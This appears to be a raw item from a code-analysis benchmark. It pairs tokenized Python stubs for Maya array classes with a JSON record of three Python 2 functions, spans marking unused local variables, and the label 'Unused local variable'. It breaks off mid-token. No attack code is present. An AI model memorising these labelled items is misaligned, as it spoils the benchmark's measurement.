"\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "dels", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "dels", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "del", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MD", "ag", "Path", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "gets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MD", "ag", "Path", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "sets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "sets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ",", " ", "y", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]=", "y", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MO", "bject", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "dels", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "dels", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "del", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MO", "bject", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "gets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MO", "bject", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "sets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "sets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ",", " ", "y", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]=", "y", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MV", "ector", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "dels", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "dels", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "del", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MV", "ector", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "gets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MV", "ector", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "sets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "sets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ",", " ", "y", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]=", "y", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MP", "oint", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "dels", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "dels", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "del", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MP", "oint", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "gets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MP", "oint", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "sets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "sets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ",", " ", "y", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]=", "y", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MF", "loa", "t", "Point", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "dels", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "dels", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "del", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MF", "loa", "t", "Point", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "gets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MF", "loa", "t", "Point", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "sets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "sets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ",", " ", "y", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]=", "y", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MP", "lug", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "dels", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "dels", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "del", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MP", "lug", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "gets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MP", "lug", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "sets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "sets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ",", " ", "y", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]=", "y", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MC", "all", "back", "Id", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "dels", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "dels", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "del", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MC", "all", "back", "Id", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "gets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MC", "all", "back", "Id", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "sets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "sets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ",", " ", "y", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]=", "y", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 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 { "content": "def buildRecentFileMenu():\n\n if \"RecentFilesList\" not in core.optionVar:\n return\n\n # get the list\n RecentFilesList = core.optionVar[\"RecentFilesList\"]\n nNumItems = len(RecentFilesList)\n RecentFilesMaxSize = core.optionVar[\"RecentFilesMaxSize\"]\n\n# # check if there are too many items in the list\n# if (RecentFilesMaxSize < nNumItems):\n#\n# #if so, truncate the list\n# nNumItemsToBeRemoved = nNumItems - RecentFilesMaxSize\n#\n# #Begin removing items from the head of the array (least recent file in the list)\n# for ($i = 0; $i < $nNumItemsToBeRemoved; $i++):\n#\n# core.optionVar -removeFromArray \"RecentFilesList\" 0;\n#\n# RecentFilesList = core.optionVar[\"RecentFilesList\"]\n# nNumItems = len($RecentFilesList);\n\n\n # The RecentFilesTypeList optionVar may not exist since it was\n # added after the RecentFilesList optionVar. If it doesn't exist,\n # we create it and initialize it with a guess at the file type\n if nNumItems > 0 :\n if \"RecentFilesTypeList\" not in core.optionVar:\n core.mel.initRecentFilesTypeList( RecentFilesList )\n\n RecentFilesTypeList = core.optionVar[\"RecentFilesTypeList\"]\n\n\n #toNativePath\n # first, check if we are the same.", "metadata": "root.buildRecentFileMenu", "header": "['module', '___EOS___']", "index": 273 }, { "content": "def open_completer(self, event):\n relpath = event.symbol\n #print event # dbg\n if '-b' in event.line:\n # return only bookmark completions\n bkms = self.db.get('bookmarks',{})\n return bkms.keys()\n\n\n if event.symbol == '-':\n print \"completer\"\n width_dh = str(len(str(len(ip.user_ns['_sh']) + 1)))\n print width_dh\n # jump in directory history by number\n fmt = '-%0' + width_dh +'d [%s]'\n ents = [ fmt % (i,s) for i,s in enumerate(ip.user_ns['_sh'])]\n if len(ents) > 1:\n return ents\n return []\n\n raise IPython.ipapi.TryNext", "metadata": "root.open_completer", "header": "['module', '___EOS___']", "index": 311 }, { "content": "def magic_open(self, parameter_s=''):\n \"\"\"Change the current working directory.\n\n This command automatically maintains an internal list of directories\n you visit during your IPython session, in the variable _sh. The\n command %dhist shows this history nicely formatted. You can also\n do 'cd -<tab>' to see directory history conveniently.\n\n Usage:\n\n openFile 'dir': changes to directory 'dir'.\n\n openFile -: changes to the last visited directory.\n\n openFile -<n>: changes to the n-th directory in the directory history.\n\n openFile --foo: change to directory that matches 'foo' in history\n\n openFile -b <bookmark_name>: jump to a bookmark set by %bookmark\n (note: cd <bookmark_name> is enough if there is no\n directory <bookmark_name>, but a bookmark with the name exists.)\n 'cd -b <tab>' allows you to tab-complete bookmark names.\n\n Options:\n\n -q: quiet. Do not print the working directory after the cd command is\n executed. By default IPython's cd command does print this directory,\n since the default prompts do not display path information.\n\n Note that !cd doesn't work for this purpose because the shell where\n !command runs is immediately discarded after executing 'command'.\"\"\"\n\n parameter_s = parameter_s.strip()\n #bkms = self.shell.persist.get(\"bookmarks\",{})\n\n oldcwd = os.getcwd()\n numcd = re.match(r'(-)(\\d+)$',parameter_s)\n # jump in directory history by number\n if numcd:\n nn = int(numcd.group(2))\n try:\n ps = ip.ev('_sh[%d]' % nn )\n except IndexError:\n print 'The requested directory does not exist in history.'\n return\n else:\n opts = {}\n# elif parameter_s.startswith('--'):\n# ps = None\n# fallback = None\n# pat = parameter_s[2:]\n# dh = self.shell.user_ns['_sh']\n# # first search only by basename (last component)\n# for ent in reversed(dh):\n# if pat in os.path.basename(ent) and os.path.isdir(ent):\n# ps = ent\n# break\n#\n# if fallback is None and pat in ent and os.path.isdir(ent):\n# fallback = ent\n#\n# # if we have no last part match, pick the first full path match\n# if ps is None:\n# ps = fallback\n#\n# if ps is None:\n# print \"No matching entry in directory history\"\n# return\n# else:\n# opts = {}\n\n\n else:\n #turn all non-space-escaping backslashes to slashes,\n # for c:\\windows\\directory\\names\\\n parameter_s = re.sub(r'\\\\(?! )','/', parameter_s)\n opts,ps = self.parse_options(parameter_s,'qb',mode='string')\n\n # jump to previous\n if ps == '-':\n try:\n ps = ip.ev('_sh[-2]' % nn )\n except IndexError:\n raise UsageError('%cd -: No previous directory to change to.')\n# # jump to bookmark if needed\n# else:\n# if not os.path.exists(ps) or opts.has_key('b'):\n# bkms = self.db.get('bookmarks', {})\n#\n# if bkms.has_key(ps):\n# target = bkms[ps]\n# print '(bookmark:%s) -> %s' % (ps,target)\n# ps = target\n# else:\n# if opts.has_key('b'):\n# raise UsageError(\"Bookmark '%s' not found. \"\n# \"Use '%%bookmark -l' to see your bookmarks.\" % ps)\n\n # at this point ps should point to the target dir\n if ps:\n ip.ex( 'openFile(\"%s\", f=1)' % ps )", "metadata": "root.magic_open", "header": "['module', '___EOS___']", "index": 468 } ]
[ { "span": "RecentFilesMaxSize ", "start_line": 281, "start_column": 4, "end_line": 281, "end_column": 22 }, { "span": "RecentFilesTypeList ", "start_line": 305, "start_column": 8, "end_line": 305, "end_column": 27 }, { "span": "relpath ", "start_line": 312, "start_column": 4, "end_line": 312, "end_column": 11 }, { "span": "oldcwd ", "start_line": 503, "start_column": 4, "end_line": 503, "end_column": 10 }, { "span": "opts ", "start_line": 514, "start_column": 12, "end_line": 514, "end_column": 16 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "build", "Rece", "nt", "File", "Menu_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\"", "Rece", "nt", "Files", "List", "\"_", "not_", "in_", "core_", "._", "option", "Var_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "the", " ", "list_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Rece", "nt", "Files", "List_", "=_", "core_", "._", "option", "Var_", "[_", "\"", "Rece", "nt", "Files", "List", "\"_", 